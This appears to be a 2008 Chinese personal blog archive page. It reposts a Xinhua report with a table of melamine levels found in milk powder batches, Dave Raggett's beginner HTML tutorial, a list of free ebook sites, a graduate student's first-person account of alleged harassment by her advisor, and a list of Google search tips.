  核心提示:中国国家质检总局今晚披露,检出的三聚氰胺涉及二十家企业三十一个批次产品中,分别占检测企业和检测批次的百分之十三、百分之十一点七。检出三聚氰胺的批次产品仍集中在石家庄三鹿集团公司及其所属企业。
 

生产企业

产品名称

规格型号

生产日期/批次

三聚氰胺(mg/kg)

石家庄三鹿集团股份有限公司

高铁高锌配方奶粉

400g/袋

2008-4-3

6196.61

石家庄三鹿集团股份有限公司

高铁高锌配方奶粉

400g/袋

2008-1-13

4082.64

石家庄三鹿集团股份有限公司

青壮年高钙配方奶粉

400g/包

2008-01-28/A1411C

3200

石家庄三鹿集团股份有限公司

青壮年高钙配方奶粉

400g/袋

2008-4-5

1783.29

石家庄三鹿集团股份有限公司

高铁高锌配方奶粉

400g/袋

2008-6-12

1201.56

石家庄三鹿集团股份有限公司

学生营养配方奶粉

400g/包

2008-01-23/A0710F

968

石家庄三鹿集团股份有限公司

女士高钙配方奶粉

400克/袋

20080511
A1507C

561.0

石家庄三鹿集团股份有限公司

三鹿惠孕孕期及哺乳期女士营养配方奶粉

400g/袋

2008-6-29

287.75

石家庄三鹿集团股份有限公司

全家营养配方奶粉

900g/罐

2008-09-02/SLB0203I

1.3

湖南培益乳业有限公司

中老年高纤高钙配方奶粉

400g/袋

2008-9-8

5624

石家庄宝城乳业有限公司

全脂奶粉

25kg/袋

2008.6.16

5577.29

唐山市龙源乳业有限公司

全脂乳粉

25kg/袋

2008.6.3

5539.76

湖南亚华控股集团股份有限公司南山绿色食品开发公司

中老年高纤高钙配方奶粉

900g/听

2008-9-11

3700

南山绿色食品开发分公司

中老年高纤高钙配方奶粉

400克/包

2008-06-23

2200

邢台三鹿乳业有限公司沙河分公司

全脂奶粉

25kg/袋

20080621T21

2225.62

唐山市龙港乳业有限公司

全脂乳粉

25kg/袋

2008.9.11

710.17

唐山明乐乳业有限责任公司

全脂奶粉(25kg)

25kg/袋

2008.8.11

354.60

张北县宏冠乳业有限责任公司

全脂乳粉

25kg/袋

2008.8.1

353.03

察北乳业有限公司

淡奶粉

300g/袋

2008.9.11

326.75

河南金元乳业有限公司

全脂奶粉

25公斤/袋

2008-3-18

287

张家口塞北三鹿乳业有限公司

全脂淡奶

25kg/袋

2008.4.25

145.82

黑龙江省光明松鹤乳品有限责任公司

香浓全脂奶粉

400g/袋

20080709 04 02

140

广东雅士利集团股份有限公司

中小学生特殊配方奶粉

400克/包

2008-07-15

94.6

广东雅士利集团有限公司

女士特殊配方奶粉

400克/包

2008-06-03

19.2

广东雅士利集团股份有限公司

优怡女士特殊配方奶粉

400g/袋

2008-7-9

3.05

天津海河乳业有限公司

全脂甜奶粉

400g/袋

20080817

56.38

福建省南安市福乐食品工业有限公司

中老年加钙奶粉

400克/包

2008.06.04

32

内蒙古伊利实业集团股份有限公司

中老年多维高钙奶粉

400克/袋

20080505
112B820

25.7

福州明一乳业有限公司

学生奶粉

400克/袋

20080803

17

迁安三元食品有限公司

乳粉

 

2008.8.7

10.58

内蒙古蒙牛阿拉乳制品有限责任公司

金装女士多维高钙高铁奶粉

400g/袋

2008-8-21

6.0

    奶粉检出三聚氰胺企业名单

  新华网北京9月30日电 国家质检总局在完成婴幼儿奶粉和液态奶的三聚氰胺专项检查以后,又组织对普通奶粉和其他配方奶粉进行了三聚氰胺专项检测。检测结果显示,市场上大部分普通奶粉和其他配方奶粉是安全的,现将抽检结果通报如下:

  (一)目前,全国约有290家普通奶粉和其他配方奶粉生产企业,这次共抽检154家企业(合计市场占有率达70%以上),有134家企业未检出三聚氰胺,占87.0%;共抽检9月14日前生产的265个批次产品,有234个批次产品没有检出三聚氰胺,占88.3%。(二)检出的三聚氰胺涉及20家企业31个批次产品(名单另发),分别占检测企业和检测批次的13.0%、11.7%。检出三聚氰胺的批次产品仍集中在石家庄三鹿集团公司及其所属企业,三聚氰胺最高含量达6196mg/kg.抽检石家庄宝城乳业有限公司产品,三聚氰胺含量5577.29mg/kg.抽检唐山市龙源乳业有限公司产品,三聚氰胺含量5539.76mg/kg.抽检湖南2家企业生产的南山牌奶粉,三聚氰胺含量在2200mg/kg-5624mg/kg.其余企业经过抽检,有个别批次检出少量或微量三聚氰胺。(三)对未检出三聚氰胺的合格批次产品,市场可以正常销售,消费者可以放心食用,有关方面要组织好市场供应。对有问题的批次产品,有关企业已按国家质检总局要求在销售地宣布召回和退货,各地已经全部封存和下架,目前市场上销售的奶粉已没有上述批次产品。(四)有关地方和部门将进一步查明问题产品污染原因,依法追究责任。医学专家认为,成人的生理功能和饮食结构与婴幼儿不同,食用奶粉中含有少量的三聚氰胺,可以自行排出,引起泌尿系统结石的可能性很小。目前尚未发现成人因食用奶粉引发泌尿系统结石的临床病例报告。三鹿牌奶粉事件发生后,各地、各部门已采取措施,向所有奶制品生产企业派驻监管人员,监督企业对进厂原料奶质量和各生产环节进行严格的检查,确保9月14日之后生产的所有奶制品符合质量标准。 (本文来源:新华网 作者:记者徐博)

 
 
 

Saturday, September 27, 2008

生命的震撼

每当看这样的东西,总会有一种震撼的感觉

最后的几张照片,病人已经是卧床不起。是啊,总觉得很久很久的东西,不过才是短短的18年……

Thanks to 大黎黎's blog~~以下为转载。

一个摄影师从1979到1997。18年。pola相机。每天一张照片。
第一张是1979年3月31日,最后一张是1997年10月25日。

后头的就没了。
因为,1997年10月25日那天,拍照片那人死在病床上。 他的朋友把他生前拍的照片整理了出来,放在网上。
18年都在里面
http://photooftheday.hughcrawford.com/

要求每个被点名的人找到自己出生那天的照片贴出来。 

我找到自己生日那天的照片~~

忽然有种感触,如果自己在此刻做了一个决定――将一件事情坚持下去。

一定会感觉要做好久好久,因为自己总是认为:此生好久好久。

当他决定每天拍一张照片的时候,是不是也以为要拍好久好久?

原来,不过十八年而已……

Tuesday, September 16, 2008

Dave Raggett's Introduction to HTML

这是一个简单的html语言的介绍,没有仔细看,需要的时候可以查一下。


This is a short introduction to writing HTML. What is HTML? It is a special kind of text document that is used by Web browsers to present text and graphics. The text includes markup tags such as <p> to indicate the start of a paragraph, and </p> to indicate the end of a paragraph. HTML documents are often refered to as "Web pages". The browser retrieves Web pages from Web servers that thanks to the Internet, can be pretty much anywhere in World.

Many people still write HTML by hand using tools such as NotePad on Windows, or TextEdit on the Mac. This guide will get you up and running. Even if you don't intend to edit HTML directly and instead plan to use an HTML editor such as Netscape Composer, or W3C's Amaya, this guide will enable you to understand enough to make better use of such tools and how to make your HTML documents accessible on a wide range of browsers. Once you are comfortable with the basics of authoring HTML, you may want to learn how to add a touch of style using CSS, and to go on to try out features covered in my page on advanced HTML

p.s. a good way to learn is to look at how other people have coded their html pages. To do this, click on the "View" menu and then on "Source". On some browsers, you instead need to click on the "File" menu and then on "View Source". Try it with this page to see how I have applied the ideas I explain below. You will find yourself developing a critical eye as many pages look rather a mess under the hood!

For Mac users, before you can save a file with the ".html" extension, you will need to ensure that your document is formatted as plain text. For TextEdit, you can set this with the "Format" menu's "Make Plain Text" option.

This page will teach you how to:

  • start with a title
  • add headings and paragraphs
  • add emphasis to your text
  • add images
  • add links to other pages
  • use various kinds of lists

If you are looking for something else, try the advanced HTML page.

Start with a title

Every HTML document needs a title. Here is what you need to type:

<title>My first HTML document</title>

Change the text from "My first HTML document" to suit your own needs. The title text is preceded by the start tag <title> and ends with the matching end tag </title>. The title should be placed at the beginning of your document.

To try this out, type the above into a text editor and save the file as "test.html", then view the file in a web browser. If the file extension is ".html" or ".htm" then the browser will recognize it as HTML. Most browsers show the title in the window caption bar. With just a title, the browser will show a blank page. Don't worry. The next section will show how to add displayable content.

Add headings and paragraphs

If you have used Microsoft Word, you will be familiar with the built in styles for headings of differing importance. In HTML there are six levels of headings. H1 is the most important, H2 is slightly less important, and so on down to H6, the least important.

Here is how to add an important heading:

<h1>An important heading</h1>

and here is a slightly less important heading:

<h2>A slightly less important heading</h2>

Each paragraph you write should start with a <p> tag. The </p> is optional, unlike the end tags for elements like headings. For example:

<p>This is the first paragraph.</p>

<p>This is the second paragraph.</p>

Adding a bit of emphasis

You can emphasize one or more words with the <em> tag, for instance:

This is a really <em>interesting</em> topic!

Adding interest to your pages with images

Images can be used to make your Web pages distinctive and greatly help to get your message across. The simple way to add an image is using the <img> tag. Let's assume you have an image file called "peter.jpg" in the same folder/directory as your HTML file. It is 200 pixels wide by 150 pixels high.

<img src="peter.jpg" width="200" height="150">

The src attribute names the image file. The width and height aren't strictly necessary but help to speed the display of your Web page. Something is still missing! People who can't see the image need a description they can read in its absence. You can add a short description as follows:

<img src="peter.jpg" width="200" height="150"
alt="My friend Peter">

The alt attribute is used to give the short description, in this case "My friend Peter". For complex images, you may need to also give a longer description. Assuming this has been written in the file "peter.html", you can add one as follows using the longdesc attribute:

<img src="peter.jpg" width="200" height="150"
alt="My friend Peter" longdesc="peter.html">

You can create images in a number of ways, for instance with a digital camera, by scanning an image in, or creating one with a painting or drawing program. Most browsers understand GIF and JPEG image formats, newer browsers also understand the PNG image format. To avoid long delays while the image is downloaded over the network, you should avoid using large image files.

Generally speaking, JPEG is best for photographs and other smoothly varying images, while GIF and PNG are good for graphics art involving flat areas of color, lines and text. All three formats support options for progressive rendering where a crude version of the image is sent first and progressively refined.

Adding links to other pages

What makes the Web so effective is the ability to define links from one page to another, and to follow links at the click of a button. A single click can take you right across the world!

Links are defined with the <a> tag. Lets define a link to the page defined in the file "peter.html" in the same folder/directory as the HTML file you are editing:

This a link to <a href="peter.html">Peter's page</a>.

The text between the <a> and the </a> is used as the caption for the link. It is common for the caption to be in blue underlined text.

If the file you are linking to is in a parent folder/directory, you need to put "../" in front of it, for instance:

<a href="../mary.html">Mary's page</a>

If the file you are linking to is in a subdirectory, you need to put the name of the subdirectory followed by a "/" in front of it, for instance:

<a href="friends/sue.html">Sue's page</a>

The use of relative paths allows you to link to a file by walking up and down the tree of directories as needed, for instance:

<a href="../college/friends/john.html">John's page</a>

Which first looks in the parent directory for another directory called "college", and then at a subdirectory of that named "friends" for a file called "john.html".

To link to a page on another Web site you need to give the full Web address (commonly called a URL), for instance to link to www.w3.org you need to write:

This is a link to <a href="http://www.w3.org/">W3C</a>.

You can turn an image into a hypertext link, for example, the following allows you to click on the company logo to get to the home page:

<a href="/"><img src="logo.gif" alt="home page"></a>

This uses "/" to refer to the root of the directory tree, i.e. the home page.

Three kinds of lists

HTML supports three kinds of lists. The first kind is a bulletted list, often called an unordered list. It uses the <ul> and <li> tags, for instance:

<ul>
<li>the first list item</li>

<li>the second list item</li>

<li>the third list item</li>
</ul>

Note that you always need to end the list with the </ul> end tag, but that the </li> is optional and can be left off. The second kind of list is a numbered list, often called an ordered list. It uses the <ol> and <li> tags. For instance:

<ol>
<li>the first list item</li>

<li>the second list item</li>

<li>the third list item</li>
</ol>

Like bulletted lists, you always need to end the list with the </ol> end tag, but the </li> end tag is optional and can be left off.

The third and final kind of list is the definition list. This allows you to list terms and their definitions. This kind of list starts with a <dl> tag and ends with </dl> Each term starts with a <dt> tag and each definition starts with a <dd>. For instance:

<dl>
<dt>the first term</dt>
<dd>its definition</dd>

<dt>the second term</dt>
<dd>its definition</dd>

<dt>the third term</dt>
<dd>its definition</dd>
</dl>

The end tags </dt> and </dd> are optional and can be left off. Note that lists can be nested, one within another. For instance:

<ol>
<li>the first list item</li>

<li>
the second list item
<ul>
<li>first nested item</li>
<li>second nested item</li>
</ul>
</li>

<li>the third list item</li>
</ol>

You can also make use of paragraphs and headings etc. for longer list items.

HTML has a head and a body

If you use your web browser's view source feature (see the View or File menus) you can see the structure of HTML pages. The document generally starts with a declaration of which version of HTML has been used, and is then followed by an <html> tag followed by <head> and at the very end by </html>. The <html> ... </html> acts like a container for the document. The <head> ... </head> contains the title, and information on style sheets and scripts, while the <body> ... </body> contains the markup with the visible content. Here is a template you can copy and paste into your text editor for creating your own pages:

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title> replace with your document's title </title>
</head>
<body>

replace with your document's content

</body>
</html>

Tidying up your markup

A convenient way to automatically fix markup errors is to use HTML Tidy which also tidies the markup making it easier to read and easier to edit. I recommend you regularly run Tidy over any markup you are editing. Tidy is very effective at cleaning up markup created by authoring tools with sloppy habits. Tidy is available for a wide range of operating systems from the TidyLib Sourceforge site, and has also been integrated into a variety of HTML editing tools.

Getting Further Information

If you are ready to learn more, I have prepared some accompanying material on advanced HTML and adding a touch of style.

W3C's Recommendation for HTML 4.0 is the authoritative specification for HTML. However, it is a technical specification. For a less technical source of information you may want to purchase one of the many books on HTML, for example "Raggett on HTML 4", published 1998 by Addison Wesley. XHTML 1.0 is now a W3C Recommendation.

Best of luck and get writing!

20 Best Websites To Download Free EBooks

以后用这个找电子书不错,备忘。


  1. FreeBookSpot

    FreeBookSpot is an online source of free ebooks download with 4485 FREE E-BOOKS in 96 categories which up to 71,97 GB.

    You can search and download free books in categories like scientific, engineering, programming, fiction and many other books. No registration is required to download free-books.


  2. 4eBooks

    4eBooks has a huge collection of computer programming ebooks. Each downloadable ebook has a short review with a description. You can find over thousand of free ebooks in every computer programming field like .Net, Actionscript, Ajax, Apache and etc.


  3. Free-eBooks

    Free-eBooks is an online source for free ebook downloads, ebook resources and ebook authors. Besides free ebooks, you also download free magazines or submit your own ebook.

    You need to become a Free-EBooks.Net member to access their library. Registration is free.


  4. ManyBooks

    ManyBooks provides free ebooks for your PDA, iPod or eBook Reader. You can randomly browse for a ebook through the most popular titles, recommendations or recent reviews for visitors. There are 21,282 eBooks available here and they're all free!


  5. GetFreeEBooks

    GetFreeEBooks is a free ebooks site where you can download free books totally free. All the ebooks within the site are legal downloadable free ebooks.


  6. FreeComputerBooks

    FreeComputerBooks consists of a huge collection of free online Computer, Programming, Mathematics, Technical Books, Lecture Notes and Tutorials. It is very well categorized by topics, with 12 top level categories, and over 150 sub-categories.


  7. FreeTechBooks

    FreeTechBooks lists free online computer science, engineering and programming books, textbooks and lecture notes, all of which are legally and freely available over the Internet. Throughout FreeTechBooks, other terms are used to refer to a book, such as ebook, text, document, monogram or notes.


  8. Scribd

    Scribd, the online document sharing site which supports Word, Excel, PowerPoint, PDF and other popular formats. You can download a document or embed it in your blog or web page.


  9. Globusz

    Globusz is a unique ePublishing house, specializing in free eBook downloads. They also provide an excellent Star Rating Showcase for new and evolving authors.


  10. KnowFree

    KnowFree is a web portal where users are able to exchange freely e-books, video training and other materials for educational purposes and self-practice.


  11. OnlineFreeEBooks

    OnlineFreeEBooks provides links to various ebooks (mostly in pdf) spanning in 9 big categories which are: Automotive Ebooks, Business Ebooks, Engineering Ebooks, Gadget Ebooks, Hardware Ebooks, Health & Medical Ebooks, Hobbies Ebooks, Programming & Technology Ebooks, Sport & Martial Art Ebooks.


  12. MemoWare

    MemoWare has a unique collection of thousands of documents (databases, literature, maps, technical references, lists, etc.) specially formatted to be easily added to your PalmOS device, Pocket PC, Windows CE, EPOC, Symbian or other handheld device.


  13. BluePortal


  14. OnlineComputerBooks

    OnlineComputerBooks contains details about free computer books, free ebooks, free online books and sample chapters related to Information Technology, Computer Science, Internet, Business, Marketing, Maths, Physics and Science which are provided by publishers or authors.


  15. SnipFiles

    SnipFiles offers you free ebooks and software legally by brought or attained PLR, resale or master rights to all the products on their page.


  16. BookYards

    BookYards is a web portal in which books, education materials, information, and content will be freely to anyone who has an internet connection.


  17. The Online Books Page

    The Online Books Page is a Listing over 30,000 free books on the Web.


  18. AskSam Ebooks

    AskSam Ebooks has a collection of free e-books like Shakespeare, and assorted legal & governmental texts.


  19. Baen Free Library


    Baen Free Library is an online library of downloadable science fiction novels.

  20. eBookLobby

    Free ebooks in eBookLobby are divided into different categories. Categorys range from business, art, computing and education. Select the category appropriate to the e-book you're looking for.


遭遇潜规则:一个北大女研究生的读研噩梦

才知道这件事闹了这么大,已经诉诸法律了。转载以bless。

北医的研究生。


    如果不是发生在我身上,我做梦也不会想到,曾经让我觉得无比自豪的北大竟然会发生这样的事!--道貌岸然的导师竟然想用潜规则逼我就范!如果我"聪明"一 点,我肯定已经顺利毕业了,如果我不是把做人的清白看得比所谓的学业更重的话,这一切就不会发生!先声明一点,我是在没有办法的情况下才说出真相的,面对 一个无耻之徒和一伙不负责任的纵容者,我真的只有用这种方式来进行最后的抗争。

    2007年7月25日,我像往常一样来到实验室,下午进导师办公室向他汇报工作进展及讨论后续工作安排事宜。汇报了一些工作后,导师示意我把门关上说话, 让我坐在他对面。突然导师对我说:"姑娘,你很聪明!好好干,前途大好啊!"然后伸手摸了一把我的脸,我愣住了,一时间说不出话来。他看我吓得僵住了,就 说:"你是个聪明姑娘,我很喜欢你,你知道吗?"我几乎是颤抖着说:"哦,我知道老师您对我们都挺好的......""但我对你更好一些,你能感觉得到 吗?"他打断我。我也不知说什么,只好傻笑,说实在的,这个导师对我们这些学生实在都不怎么样,应该只有差和更差的区别,哪里有好和更好?但我只能附和 说"您对我们都很好"。导师又问:"下次带你去开会,就带你一个人去,敢去吗?"我赶紧说:"谢谢老师,不过我也得有工作成绩才能去开会啊,我会更加努力 的。""有男朋友吗?""有。"我赶紧说。他沉吟了一下,又笑着说:"你有男朋友也没关系,我还是很喜欢你,你害怕吗?"我能说什么?只好再次愣住不做 声。"平时跟男朋友在一起都干些什么啊--我知道你们年轻人啊,还是要多注意身体,"他顿了顿,目光闪烁不定的说,"有些事是很美啊,是不是?"我觉得越 来越不对劲,如坐针毡不知找什么借口逃走才好,我明显感到自己脸上的肌肉不自然地发抖,而导师仍然笑得捉摸不定,这时听见他说:"我想抱抱 你......"天哪!我觉得脑子一炸,后面他还说些什么就完全听不见了,我一直告诉自己别误会导师,别误会导师!可是终究被无情的现实粉碎了,我来不及 多想,惊慌的说了句:"老师我先出去了!"就夺门而逃。说实话,我一直很尊敬他,他有妻子,有两个女儿,大女儿都上初中了,在外人看来完全是一个幸福的家 庭,可是!后来我镇定之后真想去跟他说:"老师,我很尊敬您,您指派我干什么工作都行,但是请您尊重您的学生!" 可是终究没有这个勇气,只好装作什么也没发生过。但是心里其实非常的忐忑不安。当天晚上,我给自己最信任的朋友打电话,说了这些,我害怕的问:"要是下次 他真要带我去开会怎么办啊?我要总是拒绝的话,他不让我毕业怎么办?"朋友安慰我:"他是你导师,他不让你毕业他有什么好处呢?自己学生不毕业自己脸上也 无光啊。"我这才稍微定了定心。

    从那以后,我的日子就开始变得提心吊胆,去导师办公室说话也不敢关门,每次都是以最简短的话语汇报,后来还特地找了个男同学充当我的男朋友到实验室来陪 我。导师似乎也觉察到了什么,恼羞成怒之下他一反常态,开始在公共场合呼斥我,动不动就找茬骂我,我想其实他最想骂的是我"不识抬举"吧。作为学生,我只 好忍着,只希望早一点毕业就可以彻底摆脱这个噩梦。

    然而,战战兢兢的日子没过多久,我最担心的事情终于发生了。

    2007年9月26日是我们开题的日子。三个学生,我是第二个讲,讲到中途放出两张RT-PCR图片(开题幻灯片报告)时,导师突然喊"停!",然后就 问:"你这是什么时候做的?我怎么没见过?"我愣了,他怎么会没见过?我们所有实验结果都是要给他过目的,我定了定神,回想了一下,回答是6月到7月间做 的,然后他又说没见过。我讲完后,回到座位上,心里很不安,不知他又打什么算盘,待开题结束后,我赶紧去公用电脑上找原始数据,因为我知道以他的习惯是肯 定要问的。但是--原始数据不翼而飞了!我们实验室人员很杂很乱,没有自己的个人电脑,所有数据都在公用电脑上,大家建立自己的文件夹,我找过自己的文件 夹后,又把其他人的文件夹也找了一遍,还是没有,我当时并不以为然,觉得把实验重复一下就得了,也不难。这时导师果然来问我了:"你把原始数据拿来给我看 看。"我轻轻的说:"没了。""没了??!!"他咆哮起来!我愣了,心想不至于这么小题大做吧?我把情况告诉他后,他马上说:"你没有原始数据就是造假, 你这事没完!"然后扬长而去。我又呆住:最多说我不慎遗失数据啊,这怎么跟造假扯上关系了?

    第二天,导师把我叫到办公室,关上门说:"再给你一次机会,要么你承认造假,态度好的话我可能就算了,要么就打报告把你交给学位分会处理。"--这叫什么 机会!两条都是死路啊!而且,我为什么要承认我没做过的事情?我坚决不答应。他说那么我就不客气了。--说到此处还有一个相关话题:就是我的某位师姐,她 的确是什么也没做出来,其学位论文中的全程数据均是造假,还是导师他自己告诉我们的,后来经核实确实如此。而他一直瞒而未报,因为北大有规定,所带的研究 生学位论文有造假行为的导师会停招研究生甚至开除--当时我气得发抖,就很冲动的说了一句:"某某是真造假你倒不管,我这没造假你却要我承认!"
    可能我的态度激怒了他,他打开办公室门,不再听我说,自己走了出去。并且马上把报告打到了教研室,说我不能提供原始数据,有造假嫌疑云云。教研室主任让我 说明情况,我说我可以重复实验,如果质疑造假的话,应该是对数据本身在科学的角度就不可能做出来,难道原始数据丢了的就是造假?况且一个开题报告,我有什 么利益动机去在这样一个不值得造假的地方去造假呢?教研室主任说,那你去重复出来吧,这是你跟你导师沟通的事,我也不想管太多。
    我很快就重复出来了实验结果,因为这实在只是一个很简单的实验。但是,当几个老师组成调查小组时,没有人关心我重复的结果,每个人都说:我们不管你重复 没,或是能否重复,只问你原来结果到哪去了。--最后,他们写了一个决定:我在开题时所用的结果在原始记录中找不到。并要求我签字。我想,这个结果用调查 吗?我早就告诉他们找不到了啊,我说:"怎么不说我已经重复了呢?如果这样写就全是对学生不利的一面啊,怎么对学生有利的就不写呢?"--但没有人搭理, 并且硬性要求赶紧签吧。我想他们也没有说我造假,看样子不签也不行,就签了。

    后来我就这个问题请教了业内的很多德高望重的老师,当然也包括肿瘤医院的许多老师,他们都觉得导师说我造假简直是个天大的笑话,在他们看来,"开题幻灯片 报告"仅仅是由学生本人向各位老师汇报的一个拟做课题实验的设想,以及初步预实验的工作汇报,仅代表之前几个月探讨性实验的结果,并不是实验研究的结果, 仅仅是一个幻灯片发言汇报,并没有写文字材料汇报,更没有写成学术论文。作为学生的发言汇报幻灯片,有错误或设计有误、数据有误,应该是允许进行修正、补 充或做改进的。虽然我没有找到原来的图片,但我已经及时对此结果进行补充,这应该是允许的,所以根本不存在我弄虚作假的说法。

    可悲的是,医院处理这件事的人不知出于什么原因竟然完全置这些于不顾,成了纵容这个悲剧的帮凶!

    不得不提到的就是另一个叫hyz的老师,我们管他叫h老师,他总管我们院的研究生。事发以后又过了一个月,就是10月底,到了我们交开题报告总结的日子, 需要导师签字。之前因为导师打了报告,而且又压根对我重复的结果不予理会,我跟他已经很久没说过话了。我当时猜想他可能不会给我签字,但仍然抱了一丝希望 去碰运气,不过结果在我的预料之中,他拒绝签字:"你这开题有问题,我都已经打报告到学术委员会了,等他们的处理意见吧,我不能给你签。"我站了一会,也 不知说些什么好,只好离开了去找h老师,因为按照正常程序他可以进行干预,责令导师要么给出确凿理由来,要么签字。
    但是h老师看了我一眼,慢悠悠的说:"你导师不签字为什么啊?那他不签我也不能拿刀架他脖子上让签啊。"我说:"h老师,可是这个报告总结,我作为学生来 说能完成的部分已经完成了,不是我消极懈怠自己不做而延误的,如果现在因为导师不签字而误了时间,那到时怎么办啊?"h老师还是他一贯的口吻:"导师的责 任导师负,学生的责任学生负。你放心,等事情清楚后,学生的权益还是得保障的,你什么时候签了字来我都算你九月底提交的。"
    我觉得这样子处理心里没底,只好又找到教研室主任,说导师不给签字怎么办啊?主任说那得你们自己沟通去啊。我觉得无望,但是至少h老师的话我记下了,就是说,只要什么时候能签了来就算完成了,这样又稍稍定了心。
    从那以后,我只好自己在实验室做实验,以前虽然也没有人指导,但需要用什么东西还是方便的;现在没有人指导,东西却不能用了。我开冰箱拿东西,由于我们的 冰箱是超过5秒钟就开始自鸣的,我当时在最底层拿东西,拿了2分钟左右,冰箱已经在自鸣了,这在平时是所有人都有的情况,可导师就冲过来说:"你在干吗? 你别做了!你别在这毁坏实验室仪器!"我尴尬得不知手往哪放好,全实验室的同学都不知道怎么回事,以为我犯了滔天大错了;还有一次,我打开水龙头冲废液, 这同样是再平常不过的举动,结果导师又冲来了:"你干吗!你在这浪费国家水资源!"冲我破口大骂了一通。--每天经受这样的精神折磨,终于让我溃退了,我 已经没有办法在实验室里呆下去,只要一看到他我就吓得浑身颤抖!而且他又给h老师打报告说一定不能让我待下去了,因为我经常在做损害实验室的事情。h老师 于是建议我别去了,说先缓一阵,很快就能把事情处理掉,保障我学生的权利。我于是就不去实验室了--他终于达到了把我赶出实验室的目的。

    到了2007年12月底,我已经不被允许进入实验室达三个月了,由于我一直在申诉,北医的领导交待肿瘤医院赶快处理,不能把学生吊着――我至今感激这位领 导――于是肿瘤医院给了我处理结果,说是给我换个导师,同时要延期毕业,要给处分。我问给处分的理由和证据是什么,他们拿不出理由和依据,但就是要给处 分,因为我向上级申诉影响了医院的声誉!天哪,我只是通过正当的途径行使我一个学生正当而弱小的权利,难道这也有错吗?

    2008年1月初,万般无奈之下,我给院长写了封信,希望能得到公正待遇,请求院长帮我解决问题,院长很快答复说委托副院长去调查了。第二天,就有教学办 工作人员给我电话,说是导师提交了一份我的开题报告,让我过去看看后签个字;我问这些材料是给谁看,答曰院长,我大喜过望,心想终于有出头之日了。由于我 开题时交的是电子版,对于这份不是由自己打印的打印版就检查了下有无缺页和错页,赶紧签了字,还特意把自己的重复实验数据粘在了上面,好给院长过目。
    万万没想到的是,又过了两个月,我终于被告知,我签字的打印版,上面的数据跟当时实验室另一个人的数据(当然也由导师提交)一模一样!这回我不是涉嫌造假了,我涉嫌抄袭!我想我尊敬的导师一定很满意:你不是说我没证据说你造假么?我这就给你个证据!
    我也终于有机会得见所谓的由我签字的打印版,上面的两张rt-pcr数据与我原来的数据的确像极了,只有放在一起才看得出差别来。可是导师说了:你签了字的东西还想不认?--终于坐实了我的造假之说。
    今年六月份,因为我一直不肯屈服,医学部通知我,对我的最后处理是:延期毕业,换导师,不处分,但会给一个我能接受的警示性的处理。虽然这不是最公正的一 个结果,但是对于我一个无依无靠的学生来说,这个结果也还算可以接受--本来我已经落实了接收单位,并且可以落户北京,但这一切都有了变数--即使这样, 我也还是咽下了这枚苦果,我甚至还有几分庆幸,因为我毕竟通过斗争保住了我的清白!只是万万没有想到的是,才过了半个月,他们竟然出尔反尔,又做出了要给 我处分的决定,我真的是想崩溃了!我在想,难道我只能以极端的方式结束我在北大的生活吗?

    到现在我什么也不怕了。如果我不幸牺牲的话,那么我一定是被迫害的,请记住:我的导师叫张志谦!

Monday, September 15, 2008

Sep. 15 2008MSN签名备忘

me and my dream - life is hard - born to be shining

Monday, September 8, 2008

Google week: 101 tips, tricks and hacks

English version of the previous post~

1. The best way to begin searching harder with Google is by clicking
the Advanced Search link.

2. This lets you search for exact phrases, "all these words", or one
of the specified keywords by entering search terms into the
appropriate box.

3. You can also define how many results you want on the page, what
language and what file type you're looking for, all with menus.

4. Advanced Search lets you type in a Top Level Domain (like .co.uk)
in the "Search within site of domain" box to restrict results.

5. And you can click the "Date, usage rights, numeric range and more"
link to access more advanced features.

6. Save time – most of these advanced features are also available in
Google's front page search box, as command line parameters.

7. Google's main search invisibly combines search terms with the
Boolean construct "AND". When you enter smoke fire – it looks for
smoke AND fire.

8. To make Google search for smoke or fire, just type smoke OR fire

9. Instead of OR you can type the | symbol, like this: smoke | fire

10. Boolean connectors like AND and OR are case sensitive. They must
be upper case.

11. Search for a specific term, then one keyword OR another by
grouping them with parentheses, like this: water (smoke OR fire)

12. To look for phrases, put them in quotes: "there's no smoke without fire"

13. Synonym search looks for words that mean similar things. Use the
tilde symbol before your keyword, like this: ~eggplant

14. Exclude specific key words with the minus operator. new pram -ebay
excludes all results from eBay.

15. Common words, like I, and, then and if are ignored by Google.
These are called "stop words".

16. The plus operator makes sure stop words are included. Like: fish +and chips

17. If a stop word is included in a phrase between quote marks as a
phrase, the word is searched for.

18. You can also ask Google to fill in a blank. Try: Christopher
Columbus discovered *

19. Search for a numerical range using the numrange operator. For
example, search for Sony TV between £300 and £500 with the string Sony
TV £300..£500

20. Google recognises 13 main file types through advanced search,
including all Microsoft Office Document types, Lotus, PostScript,
Shockwave Flash and plain text files.

21. Search for any filetype directly using the modifier
filetype:[filetype extension]. For example: soccer filetype:pdf

22. Exclude entire file types, using the same Boolean syntax we used
to exclude key words earlier: rugby -filetype:doc

23, In fact, you can combine any Boolean search operators, as long as
your syntax is correct. An example: "sausage and mash" -onions
filetype:doc

24. Google has some very powerful, hidden search parameters, too. For
example "intitle" only searches page titles. Try intitle:herbs

25. If you're looking for files rather than pages – give index of as
the intitle: parameter. It helps you find web and FTP directories.

26. The modifier inurl only searches the web address of a page: give
inurl:spices a go.

27. Find live webcams by searching for: inurl:view/view.shtml

28. The modifier inanchor is very specific, only finding results in
text used in page links.

29. Want to know how many links there are to a site? Try link:sitename
– for example link:www.mozilla.org

30. Similarly, you can find pages that Google thinks are related in
content, using the related: modifier. Use it like this:
related:www.microsoft.com

31. The modifier info:site_name returns information about the specified page.

32. Alternatively, do a normal search then click the "Similar Pages"
link next to a result.

33. Specify a site to search with the site: modifier – like this:
search tips site:www.techradar.com

34. The above tip works with directory sites like www.dmoz.org and
dynamically generated sites.

35. Access Google Directory – a database of handpicked and rated sites
– at directory.google.com

36. The Boolean operators intitle and inurl work in Google directory,
as does OR.

37. Use the site: modifier when searching Google Images, at
images.google.com. For example: dvd recorder site:www.amazon.co.uk

38. Similar, using "site:.com" will only return results from .com domains.

39. Google News (news.google.com) has its own Boolean parameters. For
example "intext" pulls terms from the body of a story.

40. If you use the operator "source:" in Google News, you can pick
specific archives. For example: heather mills source:daily_mail

41. Using the "location:" filter enables you to return news from a
chosen country. location:uk for example.

42. Similarly, Google Blogsearch (blogsearch.google.com) has its own
syntax. You can search for a blog title, for example, using
inblogtitle:<keyword>

43. The general search engine can get very specific indeed. Try
movie:<name of film> to look for movie reviews.

44. The modifier film: works just as well!

45. Enter showtimes and Google will prompt you for your postcode.
Enter it and it'll tell you when and where local films are showing.

